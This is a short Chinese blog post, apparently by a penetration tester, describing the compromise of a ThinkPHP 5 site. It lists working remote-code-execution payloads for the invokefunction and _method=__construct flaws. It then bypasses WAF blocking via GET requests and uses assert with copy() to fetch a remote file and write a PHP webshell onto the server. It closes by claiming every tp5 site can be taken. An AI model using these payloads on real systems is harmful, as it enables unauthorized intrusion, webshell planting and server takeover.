遇到一个tp5的站
批量检测一下poc直接一把梭
存在invokefunction命令执行,我们执行一下命令试试
直接iis 进程报错,一脸懵比,版本也判断不了
我们来发一下原始包试试
index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

可以正常输出phpinfo
尝试执行命令

还是提示进程报错
应该是调用call_user_func_array出了问题
尝试POST提交的方式
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
s=whoami&_method=__construct&method&filter[]=system
_method=__construct&filter=assert&method=get&
server[REQUEST_METHOD]=print_r(file_put_contents(%27info.php%27,file_get_contents(%27http://www.baidu.com/xx.txt%27)))
server[REQUEST_METHOD]=print_r(file_put_contents(%27info.php%27,file_get_contents(%27http://www.baidu.com/xx.txt%27)))
?s=captcha&aaaa=copy("http://xx.com/test.txt","test.php")
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=aaaa
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=aaaa
?s=captcha&r=base64
_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php


全被安全狗和西部数码的waf拦截,看来提交post肯定会被拦,只能从get方式绕过
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
function直接调用了call_user_func_array函数
尝试替换call_user_func_array为system

system被禁用
尝试使用print_r显示正常输出,看来有戏

直接使用assert尝试调用copy下载[aru_34]
system exec都需要三个vars参数,调用assert只需要两个vars参数即可,具体看报错信息,缺少参数会提示:方法参数错误:return_value
?s=index/\think\app/invokefunction&
function=assert&vars[0]=copy(%27http://127.0.0.1/xxx.txt%27,%27xxxx.php%27)
function=assert&vars[0]=copy(%27http://127.0.0.1/xxx.txt%27,%27xxxx.php%27)

提示变量类型错误,不用管,文件已经下载到本地,开心到连shell就可以啦

知识点:禁用函数、禁用请求的情况下,尝试多个函数,随机应变,没有拿不下的tp5[aru_16]
本文作者为白色键盘,转载请注明。